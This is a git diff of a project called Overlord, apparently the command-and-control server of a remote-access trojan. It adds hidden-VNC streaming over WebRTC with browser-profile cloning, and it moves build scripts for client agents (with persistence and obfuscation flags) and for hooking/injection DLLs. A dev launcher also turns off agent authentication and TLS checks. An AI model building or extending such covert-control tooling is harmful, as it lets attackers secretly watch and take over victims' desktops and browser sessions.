"recordMode", pickString(input.recordMode, ["normal", "compact"])); + assignIfDefined(out, "recordFps", pickString(input.recordFps, ["", "3", "5", "10", "15", "30", "60"])); + } else if (scope === "hvnc") { + assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"])); + assignIfDefined(out, "dxgi", pickBoolean(input.dxgi)); + assignIfDefined(out, "uia", pickBoolean(input.uia)); + assignIfDefined(out, "cloneProfile", pickBoolean(input.cloneProfile)); + assignIfDefined(out, "cloneLite", pickBoolean(input.cloneLite)); + assignIfDefined(out, "killIfRunning", pickBoolean(input.killIfRunning)); + } + + return out; +} + async function runInspectorCpuProfile(durationMs: number) { const inspector = await loadInspectorRuntime(); const Session = (inspector as any).Session; @@ -396,6 +473,67 @@ export async function handleMiscRoutes( }); } + if (url.pathname.startsWith("/api/ui-settings/")) { + const user = await authenticateRequest(req); + if (!user) { + return Response.json({ error: "Not authenticated" }, { status: 401 }); + } + + const scope = decodeURIComponent(url.pathname.slice("/api/ui-settings/".length)); + const feature = SHARED_UI_SETTING_FEATURES[scope]; + if (!feature) { + return Response.json({ error: "Unknown UI settings scope" }, { status: 404 }); + } + if (!canUserAccessFeature(user.userId, user.role, feature)) { + return Response.json({ error: "Forbidden" }, { status: 403 }); + } + + if (req.method === "GET") { + const record = getSharedUiSettings(scope); + let settings: Record = {}; + if (record?.settingsJson) { + try { + settings = sanitizeSharedUiSettings(scope, JSON.parse(record.settingsJson)); + } catch { + settings = {}; + } + } + return Response.json( + { + scope, + settings, + updatedAt: record?.updatedAt || null, + updatedByUserId: record?.updatedByUserId || null, + }, + { headers: deps.CORS_HEADERS }, + ); + } + + if (req.method === "PUT") { + let body: any = {}; + try { + body = await req.json(); + } catch { + return Response.json({ error: "Invalid JSON" }, { status: 400 }); + } + + const settings = sanitizeSharedUiSettings(scope, body?.settings); + const record = saveSharedUiSettings(scope, JSON.stringify(settings), user.userId); + return Response.json( + { + ok: true, + scope, + settings, + updatedAt: record.updatedAt, + updatedByUserId: record.updatedByUserId, + }, + { headers: deps.CORS_HEADERS }, + ); + } + + return Response.json({ error: "Method not allowed" }, { status: 405 }); + } + if (url.pathname === "/api/settings/telegram") { const user = await authenticateRequest(req); if (!user) { diff --git a/Overlord-Server/src/server/routes/webrtc-routes.ts b/Overlord-Server/src/server/routes/webrtc-routes.ts index 173f722..fc955df 100644 --- a/Overlord-Server/src/server/routes/webrtc-routes.ts +++ b/Overlord-Server/src/server/routes/webrtc-routes.ts @@ -24,7 +24,7 @@ export function issueWebrtcPublishToken(clientId: string): string { return token; } -export type WebrtcKind = "desktop" | "webcam" | "audio"; +export type WebrtcKind = "desktop" | "hvnc" | "webcam" | "audio"; export function webrtcStreamPathFor(clientId: string, kind: WebrtcKind): string { return `agents/${clientId}/${kind}`; @@ -35,7 +35,7 @@ export async function handleWebrtcRoutes(req: Request, url: URL): Promise//(whip|whep)[/] - const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+\/(?:desktop|webcam|audio))\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/); + const match = rest.match(/^(agents\/[A-Za-z0-9_.\-]+\/(?:desktop|hvnc|webcam|audio))\/(whip|whep)(\/[A-Za-z0-9_.\-]+)?$/); if (!match) return new Response("Not Found", { status: 404 }); const [, streamPath, kind, sessionSuffix] = match; diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 25ad251..260f569 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -941,6 +941,7 @@ export function handleWebSocketClose( if (!stillViewing) { const target = clientManager.getClient(removedClientId); deps.sendDesktopCommand(target, "desktop_stop", {}); + deps.sendDesktopCommand(target, "webrtc_stop", { kind: "desktop" }); deps.rdStreamingState.delete(removedClientId); logger.debug(`[rd] cleaned up state for client ${removedClientId}`); } @@ -970,6 +971,7 @@ export function handleWebSocketClose( } if (role === "hvnc_viewer") { + deps.cleanupRdViewerP2P(ws); let removedClientId = clientId; for (const [sid, sess] of sessionManager.getAllHvncSessions().entries()) { if (sess.viewer === ws) { @@ -984,6 +986,7 @@ export function handleWebSocketClose( const target = clientManager.getClient(removedClientId); if (target) { deps.sendHVNCCommand(target, "hvnc_stop", {}); + deps.sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" }); } deps.hvncStreamingState.delete(removedClientId); logger.debug(`[hvnc] cleaned up state for client ${removedClientId}`); diff --git a/Overlord-Server/src/server/webrtc-p2p-sessions.ts b/Overlord-Server/src/server/webrtc-p2p-sessions.ts index 76118e6..28d383b 100644 --- a/Overlord-Server/src/server/webrtc-p2p-sessions.ts +++ b/Overlord-Server/src/server/webrtc-p2p-sessions.ts @@ -2,7 +2,7 @@ import type { ServerWebSocket } from "bun"; import { v4 as uuidv4 } from "uuid"; import type { SocketData } from "../sessions/types"; -export type P2PKind = "desktop" | "webcam" | "audio"; +export type P2PKind = "desktop" | "hvnc" | "webcam" | "audio"; export type P2PSession = { viewer: ServerWebSocket; diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.test.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.test.ts index 882317c..2ceca17 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.test.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.test.ts @@ -122,4 +122,30 @@ describe("remote desktop viewer control", () => { expect(rdStreamingState.get(clientId)?.isStreaming).not.toBe(true); expect(viewer.sent.length).toBeGreaterThan(0); }); + + test("reasserts desktop_start when server stream state is stale", () => { + const clientId = `rd-stale-${Date.now().toString(36)}`; + const { agentWs } = createClient(clientId); + const viewer = createMockWs({ clientId }); + rdStreamingState.set(clientId, { + isStreaming: true, + display: 0, + quality: 90, + codec: "h264", + duplication: true, + maxHeight: 1080, + maxFps: 120, + lastFps: 1, + lastFrameAt: 0, + startedAt: Date.now() - 5000, + }); + + handleRemoteDesktopViewerOpen(viewer as any); + handleRemoteDesktopViewerMessage(viewer as any, JSON.stringify({ type: "desktop_start" })); + + const commands = agentCommands(agentWs); + expect(commands.filter((msg) => msg.commandType === "desktop_start")).toHaveLength(1); + expect(commands.filter((msg) => msg.commandType === "desktop_request_keyframe")).toHaveLength(0); + expect(rdStreamingState.get(clientId)?.isStreaming).toBe(true); + }); }); diff --git a/Overlord-Server/src/server/ws-console-rd-hvnc.ts b/Overlord-Server/src/server/ws-console-rd-hvnc.ts index b927957..b615f3d 100644 --- a/Overlord-Server/src/server/ws-console-rd-hvnc.ts +++ b/Overlord-Server/src/server/ws-console-rd-hvnc.ts @@ -170,6 +170,8 @@ export const rdStreamingState = new Map(); const rdInputPending = new Map(); const RD_INPUT_TTL_MS = 10_000; @@ -183,7 +185,18 @@ function pruneRdInputPending(now = Date.now()) { } function defaultRdStreamingState() { - return { isStreaming: false, display: 0, quality: 90, codec: "", duplication: false, maxHeight: 0, maxFps: 120, lastFps: 0 }; + return { + isStreaming: false, + display: 0, + quality: 90, + codec: "", + duplication: false, + maxHeight: 0, + maxFps: 120, + lastFps: 0, + lastFrameAt: 0, + startedAt: 0, + }; } function clampDesktopFps(value: unknown): number { @@ -379,10 +392,27 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket sendDesktopCommand(target, "desktop_set_fps", { fps: clampDesktopFps(state.maxFps) }); sendDesktopCommand(target, "desktop_start", {}); state.isStreaming = true; + state.startedAt = Date.now(); rdStreamingState.set(clientId, state); logger.debug(`[rd-debug] desktop_start forwarded client=${clientId} nextState=${JSON.stringify(state)} webrtc=${(payload as any).webrtc === true}`); } else { - logger.warn(`[rd-debug] desktop_start ignored duplicate client=${clientId} state=${JSON.stringify(state)} viewers=${sessionManager.getRdSessionsForClient(clientId).length}`); + const lastFrameAgeMs = state.lastFrameAt ? Date.now() - state.lastFrameAt : Number.POSITIVE_INFINITY; + const startAgeMs = state.startedAt ? Date.now() - state.startedAt : Number.POSITIVE_INFINITY; + if (lastFrameAgeMs > 3000 && startAgeMs > 3000) { + logger.info(`[rd-debug] desktop_start reasserting stale stream client=${clientId} lastFrameAgeMs=${Number.isFinite(lastFrameAgeMs) ? lastFrameAgeMs : -1} state=${JSON.stringify(state)} viewers=${sessionManager.getRdSessionsForClient(clientId).length}`); + sendDesktopCommand(target, "desktop_set_fps", { fps: clampDesktopFps(state.maxFps) }); + sendDesktopCommand(target, "desktop_start", {}); + state.isStreaming = true; + state.startedAt = Date.now(); + rdStreamingState.set(clientId, state); + } else { + logger.debug(`[rd-debug] desktop_start already active client=${clientId} lastFrameAgeMs=${lastFrameAgeMs} startAgeMs=${startAgeMs} state=${JSON.stringify(state)} viewers=${sessionManager.getRdSessionsForClient(clientId).length}`); + if (String(state.codec || "").toLowerCase() === "h264") { + sendDesktopCommand(target, "desktop_request_keyframe", { + reason: "viewer_start_existing_stream", + }); + } + } } break; case "desktop_stop": { @@ -395,10 +425,12 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket sendDesktopCommand(target, "webrtc_stop", { kind: "desktop" }); if (state.isStreaming) { state.isStreaming = false; + state.startedAt = 0; + state.lastFrameAt = 0; rdStreamingState.set(clientId, state); logger.debug(`[rd] stopped streaming for client ${clientId}`); } else { - rdStreamingState.set(clientId, { ...state, isStreaming: false }); + rdStreamingState.set(clientId, { ...state, isStreaming: false, startedAt: 0, lastFrameAt: 0 }); logger.debug(`[rd] stop requested while not streaming for client ${clientId}`); } } else { @@ -672,9 +704,11 @@ function handleRemoteDesktopFrame(payload: any) { const state = rdStreamingState.get(clientId) || defaultRdStreamingState(); if (!state.isStreaming) { state.isStreaming = true; + state.startedAt = Date.now(); } const frameFps = Number(header?.fps) || 0; if (frameFps > 0) state.lastFps = frameFps; + state.lastFrameAt = Date.now(); rdStreamingState.set(clientId, state); const now = Date.now(); const lastDebugFrameLog = rdDebugFrameLogAt.get(clientId) || 0; @@ -690,6 +724,7 @@ function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header if (frameFps > 0) { const state = rdStreamingState.get(clientId) || { ...defaultRdStreamingState(), isStreaming: true }; state.lastFps = frameFps; + state.lastFrameAt = Date.now(); rdStreamingState.set(clientId, state); } recordRemoteDesktopFrame(clientId, header, bytes); @@ -703,7 +738,20 @@ function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header return broadcastRemoteDesktopFrame(clientId, bytes, header); }; -export const hvncStreamingState = new Map(); +type HVNCStreamingState = { + isStreaming: boolean; + display: number; + quality: number; + codec: string; + maxFps: number; + lastFps: number; +}; + +function defaultHVNCStreamingState(): HVNCStreamingState { + return { isStreaming: false, display: 0, quality: 90, codec: "", maxFps: 120, lastFps: 0 }; +} + +export const hvncStreamingState = new Map(); export const webcamStreamingState = new Map(); export function handleWebcamViewerOpen(ws: ServerWebSocket) { @@ -1031,12 +1079,30 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st return; } - const state = hvncStreamingState.get(clientId) || { isStreaming: false, display: 0, quality: 90, codec: "" }; + const state = hvncStreamingState.get(clientId) || defaultHVNCStreamingState(); logger.debug(`[hvnc] inbound viewer msg type=${payload.type} client=${clientId}`); switch (payload.type) { case "hvnc_start": if (!state.isStreaming) { + if ((payload as any).webrtc === true) { + const streamPath = webrtcStreamPathFor(clientId, "hvnc"); + const token = issueWebrtcPublishToken(clientId); + sendHVNCCommand(target, "webrtc_publish", { + streamPath, + whipPath: `/api/webrtc/${streamPath}/whip`, + token, + kind: "hvnc", + hasVideo: true, + hasAudio: false, + }); + safeSendViewer(ws, { + type: "webrtc_ready", + streamPath, + whepPath: `/api/webrtc/${streamPath}/whep`, + }); + } + sendHVNCCommand(target, "hvnc_set_fps", { fps: clampDesktopFps(state.maxFps) }); sendHVNCCommand(target, "hvnc_start", { autoStartExplorer: false, }); @@ -1053,6 +1119,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st if (otherHvncViewers.length === 0) { if (state.isStreaming) { sendHVNCCommand(target, "hvnc_stop", {}); + sendHVNCCommand(target, "webrtc_stop", { kind: "hvnc" }); state.isStreaming = false; hvncStreamingState.set(clientId, state); logger.debug(`[hvnc] stopped streaming for client ${clientId}`); @@ -1086,6 +1153,16 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st } break; } + case "hvnc_set_fps": { + const newMaxFps = clampDesktopFps((payload as any).fps); + if (state.maxFps !== newMaxFps) { + sendHVNCCommand(target, "hvnc_set_fps", { fps: newMaxFps }); + state.maxFps = newMaxFps; + hvncStreamingState.set(clientId, state); + logger.debug(`[hvnc] set target fps=${newMaxFps}`); + } + break; + } case "hvnc_enable_mouse": if (state.isStreaming) sendHVNCCommand(target, "hvnc_enable_mouse", { enabled: !!payload.enabled }); break; @@ -1229,6 +1306,34 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket, raw: st sendDesktopCommand(target, "clipboard_sync_stop", {}); break; } + case "webrtc_p2p_offer": { + const sdp = typeof (payload as any).sdp === "string" ? (payload as any).sdp : ""; + if (!sdp) break; + const sessionId = createP2PSession(ws, clientId, "hvnc"); + sendHVNCCommand(target, "webrtc_p2p_offer", { sessionId, sdp, kind: "hvnc", hasVideo: true, hasAudio: false }); + break; + } + case "webrtc_p2p_ice": { + const sessionId = getP2PSessionIdForViewer(ws); + if (!sessionId) break; + const candidate = typeof (payload as any).candidate === "string" ? (payload as any).candidate : ""; + if (!candidate) break; + sendHVNCCommand(target, "webrtc_p2p_ice", { + sessionId, + kind: "hvnc", + candidate, + sdpMid: typeof (payload as any).sdpMid === "string" ? (payload as any).sdpMid : "", + sdpMLineIndex: Number((payload as any).sdpMLineIndex) || 0, + }); + break; + } + case "webrtc_p2p_stop": { + const cleared = clearP2PSessionForViewer(ws); + if (cleared) { + sendHVNCCommand(target, "webrtc_p2p_stop", { sessionId: cleared.sessionId, kind: cleared.kind }); + } + break; + } default: break; } @@ -1239,6 +1344,15 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload } (globalThis as any).__hvncBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => { + const state = hvncStreamingState.get(clientId) || defaultHVNCStreamingState(); + if (!state.isStreaming) { + state.isStreaming = true; + } + const frameFps = Number(header?.fps) || 0; + if (frameFps > 0) { + state.lastFps = frameFps; + } + hvncStreamingState.set(clientId, state); const buf = buildViewerFrameBuffer(bytes, header); return broadcastFrameToViewers(sessionManager.getHvncSessionsForClient(clientId), buf, header); }; diff --git a/README.md b/README.md index 2b0e8dc..43d7f0b 100644 --- a/README.md +++ b/README.md @@ -276,19 +276,19 @@ Prerequisites: Development mode (starts server + client): ```bat -start-dev.bat +scripts\start-dev.bat ``` Production mode (build + run server executable): ```bat -start-prod.bat +scripts\start-prod.bat ``` Build client binaries (adds client builds to the build queue): ```bat -build-clients.bat +scripts\build-clients.bat ``` ### Linux / macOS @@ -296,26 +296,26 @@ build-clients.bat Make scripts executable once: ```bash -chmod +x start-dev.sh start-dev-server.sh start-dev-client.sh start-prod.sh build-prod-package.sh +chmod +x scripts/*.sh scripts/*.command ``` Development mode (server in background, client in foreground): ```bash -./start-dev.sh +./scripts/start-dev.sh ``` Only server, or only client: ```bash -./start-dev.sh server -./start-dev.sh client +./scripts/start-dev.sh server +./scripts/start-dev.sh client ``` Production mode: ```bash -./start-prod.sh +./scripts/start-prod.sh ``` --- @@ -327,7 +327,7 @@ Build a production-ready package where the server can still build client binarie Windows: ```bat -build-prod-package.bat +scripts\build-prod-package.bat ``` Output: `release/` @@ -335,7 +335,7 @@ Output: `release/` Linux / macOS: ```bash -./build-prod-package.sh +./scripts/build-prod-package.sh ``` Output: `release/prod-package/` diff --git a/build-backstage-capture-dll.bat b/scripts/build-backstage-capture-dll.bat similarity index 89% rename from build-backstage-capture-dll.bat rename to scripts/build-backstage-capture-dll.bat index 9b0395d..f06f1cb 100644 --- a/build-backstage-capture-dll.bat +++ b/scripts/build-backstage-capture-dll.bat @@ -3,9 +3,10 @@ setlocal EnableDelayedExpansion REM Build BackstageCapture DLL for Windows x64 using MSBuild (vcxproj). REM Run from VS Developer Command Prompt, or let the script detect VS. -set ROOT=%~dp0 -set PROJ=%ROOT%BackstageCapture\BackstageCapture.vcxproj -set OUT_DIR=%ROOT%Overlord-Server\dist-clients +set "SCRIPT_DIR=%~dp0" +for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\" +set "PROJ=%ROOT%BackstageCapture\BackstageCapture.vcxproj" +set "OUT_DIR=%ROOT%Overlord-Server\dist-clients" set CONFIG=Release set PLATFORM=x64 diff --git a/build-backstage-capture-dll.sh b/scripts/build-backstage-capture-dll.sh similarity index 97% rename from build-backstage-capture-dll.sh rename to scripts/build-backstage-capture-dll.sh index 2008b11..8ccc78a 100644 --- a/build-backstage-capture-dll.sh +++ b/scripts/build-backstage-capture-dll.sh @@ -10,11 +10,13 @@ # - MinHook source under BackstageCapture/Minhook/ # # If MinHook source is not available, you can pre-build the DLL with MSVC -# on Windows using build-backstage-capture-dll.bat and place the output at: +# on Windows using scripts\build-backstage-capture-dll.bat and place the output at: # Overlord-Server/dist-clients/BackstageCapture.x64.dll set -euo pipefail -cd "$(dirname "$0")" +SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)" +cd "$ROOT" # C++ compiler for COM / __uuidof support CXX="${CXX:-x86_64-w64-mingw32-g++}" diff --git a/build-backstage-dll.bat b/scripts/build-backstage-dll.bat similarity index 89% rename from build-backstage-dll.bat rename to scripts/build-backstage-dll.bat index 5ed6fd7..c1945dd 100644 --- a/build-backstage-dll.bat +++ b/scripts/build-backstage-dll.bat @@ -3,9 +3,10 @@ setlocal EnableDelayedExpansion REM Build BackstageInjection DLL for Windows x64 using MSBuild (vcxproj). REM Run from VS Developer Command Prompt, or let the script detect VS. -set ROOT=%~dp0 -set PROJ=%ROOT%BackstageInjection\BackstageInjection.vcxproj -set OUT_DIR=%ROOT%Overlord-Server\dist-clients +set "SCRIPT_DIR=%~dp0" +for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\" +set "PROJ=%ROOT%BackstageInjection\BackstageInjection.vcxproj" +set "OUT_DIR=%ROOT%Overlord-Server\dist-clients" set CONFIG=Release set PLATFORM=x64 diff --git a/build-backstage-dll.sh b/scripts/build-backstage-dll.sh similarity index 97% rename from build-backstage-dll.sh rename to scripts/build-backstage-dll.sh index 4d802f1..094f8d7 100644 --- a/build-backstage-dll.sh +++ b/scripts/build-backstage-dll.sh @@ -15,11 +15,13 @@ # 3) Run this script. # # If MinHook source is not available, you can pre-build the DLL with MSVC -# on Windows using build-backstage-dll.bat and place the output at: +# on Windows using scripts\build-backstage-dll.bat and place the output at: # Overlord-Server/dist-clients/BackstageInjection.x64.dll set -euo pipefail -cd "$(dirname "$0")" +SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)" +cd "$ROOT" CC="${CC:-x86_64-w64-mingw32-gcc}" SRC_DIR="${HVNC_SRC_DIR:-BackstageInjection/src}" diff --git a/build-clients.bat b/scripts/build-clients.bat similarity index 97% rename from build-clients.bat rename to scripts/build-clients.bat index 1fbfb4f..eee796f 100644 --- a/build-clients.bat +++ b/scripts/build-clients.bat @@ -1,8 +1,9 @@ @echo off setlocal -set ROOT=%~dp0 -set CLIENT_DIR=%ROOT%Overlord-Client -set OUT_DIR=%ROOT%dist-clients +set "SCRIPT_DIR=%~dp0" +for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\" +set "CLIENT_DIR=%ROOT%Overlord-Client" +set "OUT_DIR=%ROOT%dist-clients" if not defined ENABLE_PERSISTENCE set ENABLE_PERSISTENCE=false if not defined OBFUSCATE set OBFUSCATE=false @@ -228,6 +229,8 @@ goto :eof :err echo Build failed. See errors above. +popd >nul 2>&1 +endlocal exit /b 1 :eof diff --git a/build-desktop.bat b/scripts/build-desktop.bat similarity index 53% rename from build-desktop.bat rename to scripts/build-desktop.bat index abbfdc1..96a128a 100644 --- a/build-desktop.bat +++ b/scripts/build-desktop.bat @@ -1,20 +1,32 @@ @echo off +setlocal +set "SCRIPT_DIR=%~dp0" +for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\" + echo === Building Overlord Desktop (Tauri) === -cd /d "%~dp0Overlord-Desktop" +pushd "%ROOT%Overlord-Desktop" where bun >nul 2>&1 if errorlevel 1 ( echo error: bun is required ^(https://bun.sh^) - exit /b 1 + goto :err ) where cargo >nul 2>&1 if errorlevel 1 ( echo error: rust toolchain is required ^(https://rustup.rs^) - exit /b 1 + goto :err ) -call bun install || exit /b 1 -call bun run vendor || exit /b 1 -call bun run build:win || exit /b 1 +call bun install || goto :err +call bun run vendor || goto :err +call bun run build:win || goto :err echo === Done — bundle output: Overlord-Desktop\src-tauri\target\release\bundle\ === +popd pause +endlocal +exit /b 0 + +:err +popd >nul 2>&1 +endlocal +exit /b 1 diff --git a/build-desktop.sh b/scripts/build-desktop.sh similarity index 82% rename from build-desktop.sh rename to scripts/build-desktop.sh index b1e7ac3..ec83a56 100644 --- a/build-desktop.sh +++ b/scripts/build-desktop.sh @@ -1,7 +1,10 @@ #!/usr/bin/env bash set -euo pipefail +SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)" + echo "=== Building Overlord Desktop (Tauri) ===" -cd "$(dirname "$0")/Overlord-Desktop" +cd "$ROOT/Overlord-Desktop" if ! command -v bun >/dev/null 2>&1; then echo "error: bun is required (https://bun.sh)" >&2 diff --git a/build-prod-package.bat b/scripts/build-prod-package.bat similarity index 97% rename from build-prod-package.bat rename to scripts/build-prod-package.bat index 182cf62..50d78b1 100644 --- a/build-prod-package.bat +++ b/scripts/build-prod-package.bat @@ -1,6 +1,7 @@ @echo off setlocal EnableExtensions -set "ROOT=%~dp0" +set "SCRIPT_DIR=%~dp0" +for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\" set "SERVER_SRC=%ROOT%Overlord-Server" set "CLIENT_SRC=%ROOT%Overlord-Client" set "RELEASE_DIR=%ROOT%release" @@ -122,13 +123,17 @@ echo Run this from the package folder: echo start-prod-release.bat echo Or on Linux: echo chmod +x start-prod-release.sh overlord-server-linux-x64 ^&^& ./start-prod-release.sh +endlocal exit /b 0 :robocopy_err echo [error] Copy operation failed ^(robocopy exit code %errorlevel%^) +popd >nul 2>&1 +endlocal exit /b 1 :err popd >nul 2>&1 echo [error] Build/package failed. +endlocal exit /b 1 diff --git a/build-prod-package.sh b/scripts/build-prod-package.sh similarity index 96% rename from build-prod-package.sh rename to scripts/build-prod-package.sh index 926567c..a0932f9 100644 --- a/build-prod-package.sh +++ b/scripts/build-prod-package.sh @@ -1,7 +1,8 @@ #!/usr/bin/env bash set -euo pipefail -ROOT="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)" SERVER_SRC="$ROOT/Overlord-Server" CLIENT_SRC="$ROOT/Overlord-Client" DIST_CLIENTS_SRC="$ROOT/dist-clients" diff --git a/generate-certs.bat b/scripts/generate-certs.bat similarity index 96% rename from generate-certs.bat rename to scripts/generate-certs.bat index 788e56d..056eea9 100644 --- a/generate-certs.bat +++ b/scripts/generate-certs.bat @@ -4,7 +4,10 @@ REM Requires OpenSSL to be installed and in PATH setlocal EnableDelayedExpansion -set CERT_DIR=.\certs +set "SCRIPT_DIR=%~dp0" +for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\" + +set "CERT_DIR=%ROOT%certs" set DAYS=3650 set COUNTRY=US set STATE=State diff --git a/generate-certs.sh b/scripts/generate-certs.sh similarity index 95% rename from generate-certs.sh rename to scripts/generate-certs.sh index f3bd104..d7310bd 100644 --- a/generate-certs.sh +++ b/scripts/generate-certs.sh @@ -4,7 +4,10 @@ set -e -CERT_DIR="./certs" +SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)" + +CERT_DIR="$ROOT/certs" DAYS=3650 # 10 years COUNTRY="US" STATE="State" diff --git a/start-dev-client.sh b/scripts/start-dev-client.sh similarity index 97% rename from start-dev-client.sh rename to scripts/start-dev-client.sh index 7b740e8..a1601b9 100644 --- a/start-dev-client.sh +++ b/scripts/start-dev-client.sh @@ -1,6 +1,7 @@ #!/usr/bin/env bash set -eu -ROOT="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)" CLIENT_DIR="$ROOT/Overlord-Client" DIST_DIR="$ROOT/dist-clients" GO_BIN="${GO_BIN:-go}" diff --git a/start-dev-server.sh b/scripts/start-dev-server.sh similarity index 90% rename from start-dev-server.sh rename to scripts/start-dev-server.sh index 9933a39..b599ff0 100644 --- a/start-dev-server.sh +++ b/scripts/start-dev-server.sh @@ -1,6 +1,7 @@ #!/usr/bin/env bash set -eu -ROOT="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)" SERVER_DIR="$ROOT/Overlord-Server" BUN_BIN="${BUN_BIN:-bun}" diff --git a/scripts/start-dev.bat b/scripts/start-dev.bat new file mode 100644 index 0000000..746d2e8 --- /dev/null +++ b/scripts/start-dev.bat @@ -0,0 +1,36 @@ +@echo off +setlocal +set "SCRIPT_DIR=%~dp0" +for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\" + +if not defined NO_PRINTING set NO_PRINTING=false + + +echo === Ensuring server deps (Bun) === +pushd "%ROOT%Overlord-Server" +echo [server] bun install... +call bun install +popd + +echo === Ensuring client dependencies (Go) === +pushd "%ROOT%Overlord-Client" +if exist go.mod ( + echo [client] go mod tidy... + go mod tidy +) +popd + +echo === Launching windows === +rem Bind server to all interfaces for remote access +set HOST=0.0.0.0 +set PORT=5173 +set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only +set OVERLORD_DISABLE_AGENT_AUTH=true +set LOG_LEVEL=debug + +start "Overlord-Server" cmd /k "cd /d ""%ROOT%Overlord-Server"" && set OVERLORD_DISABLE_AGENT_AUTH=true && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set LOG_LEVEL=debug && set NODE_ENV=development && bun install && bun run start" +timeout /t 3 /nobreak >nul +start "Overlord-Client" cmd /k "cd /d ""%ROOT%Overlord-Client"" && set OVERLORD_SERVER=wss://localhost:5173 && set OVERLORD_AGENT_TOKEN=dev-token-insecure-local-only && set OVERLORD_TLS_INSECURE_SKIP_VERIFY=true && set OVERLORD_MODE=dev && set OVERLORD_CAPTURE_METRICS=true && set GOINSECURE=* && set GOSUMDB=off && set GOPROXY=https://proxy.golang.org,direct && go mod tidy && go run ./cmd/agent" + +echo Done. Terminals stay open (/k) for logs. +endlocal diff --git a/start-dev.command b/scripts/start-dev.command old mode 100755 new mode 100644 similarity index 85% rename from start-dev.command rename to scripts/start-dev.command index ce5f9a8..13061ca --- a/start-dev.command +++ b/scripts/start-dev.command @@ -1,9 +1,10 @@ #!/usr/bin/env bash set -euo pipefail -ROOT="$(cd -- "$(dirname "$0")" && pwd)" -SERVER_SCRIPT="$ROOT/start-dev-server.sh" -CLIENT_SCRIPT="$ROOT/start-dev-client.sh" +SCRIPT_DIR="$(cd -- "$(dirname "$0")" && pwd)" +ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)" +SERVER_SCRIPT="$SCRIPT_DIR/start-dev-server.sh" +CLIENT_SCRIPT="$SCRIPT_DIR/start-dev-client.sh" quote() { printf "%q" "$1" @@ -23,12 +24,12 @@ trap pause_for_error EXIT if [ "$(uname -s)" != "Darwin" ]; then echo "[start-dev] start-dev.command is intended for macOS." - echo "[start-dev] Use ./start-dev.sh on this platform." + echo "[start-dev] Use ./scripts/start-dev.sh on this platform." exit 1 fi if ! command -v osascript >/dev/null 2>&1; then - echo "[start-dev] osascript was not found. Use ./start-dev.sh from a terminal instead." + echo "[start-dev] osascript was not found. Use ./scripts/start-dev.sh from a terminal instead." exit 1 fi diff --git a/start-dev.sh b/scripts/start-dev.sh similarity index 95% rename from start-dev.sh rename to scripts/start-dev.sh index c93d3b5..0ff121e 100644 --- a/start-dev.sh +++ b/scripts/start-dev.sh @@ -1,6 +1,7 @@ #!/usr/bin/env bash set -eu -ROOT="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" +ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)" # Dispatcher script kept for backwards compatibility. # Usage: @@ -8,7 +9,6 @@ ROOT="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" # ./start-dev.sh server # start only server # ./start-dev.sh client # start only client -SCRIPT_DIR="$ROOT" SERVER_SCRIPT="$SCRIPT_DIR/start-dev-server.sh" CLIENT_SCRIPT="$SCRIPT_DIR/start-dev-client.sh" diff --git a/scripts/start-prod-tuned.bat b/scripts/start-prod-tuned.bat new file mode 100644 index 0000000..49f7c0a --- /dev/null +++ b/scripts/start-prod-tuned.bat @@ -0,0 +1,209 